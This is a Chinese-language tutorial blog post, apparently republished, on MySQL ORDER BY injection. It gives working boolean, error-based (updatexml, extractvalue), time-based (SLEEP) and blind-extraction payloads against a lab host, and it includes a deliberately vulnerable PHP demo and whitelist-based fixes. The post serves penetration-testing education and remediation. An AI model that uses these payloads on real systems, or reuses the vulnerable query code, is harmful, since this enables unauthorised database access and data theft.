Mysql Order By 注入总结
前言
最近在做一些漏洞盒子后臺項目的總結(jié),在盒子多期眾測項目中,發(fā)現(xiàn)注入類的漏洞占比較大。其中Order By注入型的漏洞也占挺大一部分比例,這類漏洞也是白帽子樂意提交的類型(獎金高、被過濾概率小)。今天給大家分享下一些關(guān)于Order By的有趣的經(jīng)驗。
何為order by 注入
本文討論的內(nèi)容指可控制的位置在order by子句后,如下order參數(shù)可控:select * from goods order by $_GET['order']
注入簡單判斷
在早期注入大量存在的時候,利用order by子句進(jìn)行快速猜解表中的列數(shù),再配合union select語句進(jìn)行回顯。在測試時,測試者可以通過修改order參數(shù)值,比如調(diào)整為較大的整型數(shù),再依據(jù)回顯情況來判斷具體表中包含的列數(shù)。
在不知道列名的情況下可以通過列的的序號來指代相應(yīng)的列。但是經(jīng)過測試這里無法做運(yùn)算,如order=3-1?和order=2是不一樣的。
http://192.168.239.2:81/?order=11 錯誤 http://192.168.239.2:81/?order=1 正常進(jìn)一步構(gòu)造Payload
前面的判斷并不是絕對的,我們需要構(gòu)造出類似and 1=1、and 1=2的Payload以便于注入出數(shù)據(jù)。
http://192.168.239.2:81/?order=IF(1=1,name,price) 通過name字段排序 http://192.168.239.2:81/?order=IF(1=2,name,price) 通過price字段排序 /?order=(CASE+WHEN+(1=1)+THEN+name+ELSE+price+END) 通過name字段排序 /?order=(CASE+WHEN+(1=2)+THEN+name+ELSE+price+END) 通過price字段排序 http://192.168.239.2:81/?order=IFNULL(NULL,price) 通過price字段排序 http://192.168.239.2:81/?order=IFNULL(NULL,name) 通過name字段排序另外利用rand函數(shù)也能達(dá)到類似的效果,可以觀測到排序的結(jié)果不一樣
http://192.168.239.2:81/?order=rand(1=1) http://192.168.239.2:81/?order=rand(1=2)利用報錯
在有些情況下無法知道列名,而且也不太直觀的去判斷兩次請求的差別,如下用IF語句為例。
返回多條記錄
http://192.168.239.2:81/?order=IF(1=1,1,(select+1+union+select+2)) 正確 http://192.168.239.2:81/?order=IF(1=2,1,(select+1+union+select+2)) 錯誤 /?order=IF(1=1,1,(select+1+from+information_schema.tables)) 正常 /?order=IF(1=2,1,(select+1+from+information_schema.tables)) 錯誤利用regexp
http://192.168.239.2:81/?order=(select+1+regexp+if(1=1,1,0x00)) 正常 http://192.168.239.2:81/?order=(select+1+regexp+if(1=2,1,0x00)) 錯誤利用updatexml
http://192.168.239.2:81/?order=updatexml(1,if(1=1,1,user()),1) 正確 http://192.168.239.2:81/?order=updatexml(1,if(1=2,1,user()),1) 錯誤利用extractvalue
http://192.168.239.2:81/?order=extractvalue(1,if(1=1,1,user())) 正確 http://192.168.239.2:81/?order=extractvalue(1,if(1=2,1,user())) 錯誤基于時間的盲注
注意如果直接if(1=2,1,SLEEP(2)),sleep時間將會變成2當(dāng)前表中記錄的數(shù)目,還有比如執(zhí)行BENCHMARK(1000000,100100);等函數(shù),將會對服務(wù)器造成一定的拒絕服務(wù)攻擊。
/?order=if(1=1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) 正常響應(yīng)時間 /?order=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) sleep 2秒數(shù)據(jù)猜解
以猜解user()即root@localhost為例子,由于只能一位一位猜解,可以利用SUBSTR,SUBSTRING,MID,以及l(fā)eft和right可以精準(zhǔn)分割出每一位子串。然后就是比較操作了可以利用=,like,regexp等。這里要注意like是不區(qū)分大小寫。
通過下可以得知user()第一位為r,ascii碼的16進(jìn)制為0x72:
http://192.168.239.2:81/?order=(select+1+regexp+if(substring(user(),1,1)=0x72,1,0x00)) 正確 http://192.168.239.2:81/?order=(select+1+regexp+if(substring(user(),1,1)=0x71,1,0x00)) 錯誤猜解當(dāng)前數(shù)據(jù)庫的表名:
/?order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),1,1)=0x67,1,0x00)) 正確 /?order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),1,1)=0x66,1,0x00)) 錯誤猜解指定表名中的列名:
/?order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns+where+table_schema%3ddatabase()+and+table_name%3d0x676f6f6473+limit+0,1),1,1)=0x69,1,0x00)) 正常 /?order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns+where+table_schema%3ddatabase()+and+table_name%3d0x676f6f6473+limit+0,1),1,1)=0x68,1,0x00)) 錯誤sqlmap測試
在沒有過濾的情況下是能夠檢測到注入的,如下圖:
附錄服務(wù)端代碼
<?php error_reporting(0); session_start(); mysql_connect("127.0.0.1", "root", "root") or die("Database connection failed "); mysql_select_db("sqlidemo") or die("Select database failed");$order = $_GET['order'] ? $_GET['order'] : 'name'; $sql = "select id,name,price from goods order by $order"; $result = mysql_query($sql); $reslist = array(); while($row = mysql_fetch_array($result, MYSQL_ASSOC)) {array_push($reslist, $row); } echo json_encode($reslist); create database sqlidemo; use sqlidemo; create table goods (id int(4) not null primary key auto_increment, name char(32) not null, price int(4) not null); insert into goods (name, price) values("apple", 10); insert into goods (name, price) values("banana", 15); insert into goods (name, price) values("peach", 20);修復(fù)建議
這個問題的是由于攻擊者通過測試,了解到應(yīng)用程序?qū)?shù)據(jù)對象進(jìn)行了直接引用。該類問題可以歸納到OWASP-2013中A4(不安全的對象直接引用)。常見的修復(fù)方法如下:
1.通過正則表達(dá)式進(jìn)行字符串過濾。只允許字段中出現(xiàn)字母、數(shù)字、下劃線。
2.通過白名單思路,使用間接對象引用。前端傳遞引用數(shù)字或者字符串等,用于與后端做數(shù)組映射,這樣可以隱藏數(shù)據(jù)庫數(shù)據(jù)字典效果,避免直接引用帶來的危害。
<?php $orderby_whitelist = array( "apple" => "apple ASC", "applerev" => "apple DESC", "daterev" => "banana DESC", "DEFAULT" => "peach"); $order = isset($_GET["order"]) ? $_GET["order"] : "DEFAULT"; $order_expr = array_key_exists($order, $orderby_whitelist) ? $orderby_whitelist[$order] : $orderby_whitelist["DEFAULT"]; mysql_query("SELECT ... FROM ... ORDER BY $order_expr");參考資料
http://xdxd.love/2016/03/07/order-by%E6%B3%A8%E5%85%A5%E7%82%B9%E5%88%A9%E7%94%A8%E6%96%B9%E5%BC%8F/
https://dev.mysql.com/doc/refman/5.7/en/control-flow-functions.html
https://dev.mysql.com/doc/refman/5.7/en/string-functions.html
潛心,不會編程的不是好黑客更不是項目經(jīng)理,只會簡簡單單的腳本談不上腳本小子;只會皮毛卻自以為是那只能說是瞎扯愛好都談不上-----潛心修煉不妄語。轉(zhuǎn)載于:https://www.cnblogs.com/firstdream/p/8385943.html
總結(jié)
以上是生活随笔為你收集整理的Mysql Order By 注入总结的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 法师打发斯蒂芬
- 下一篇: 收藏一下mybatis全局参数配置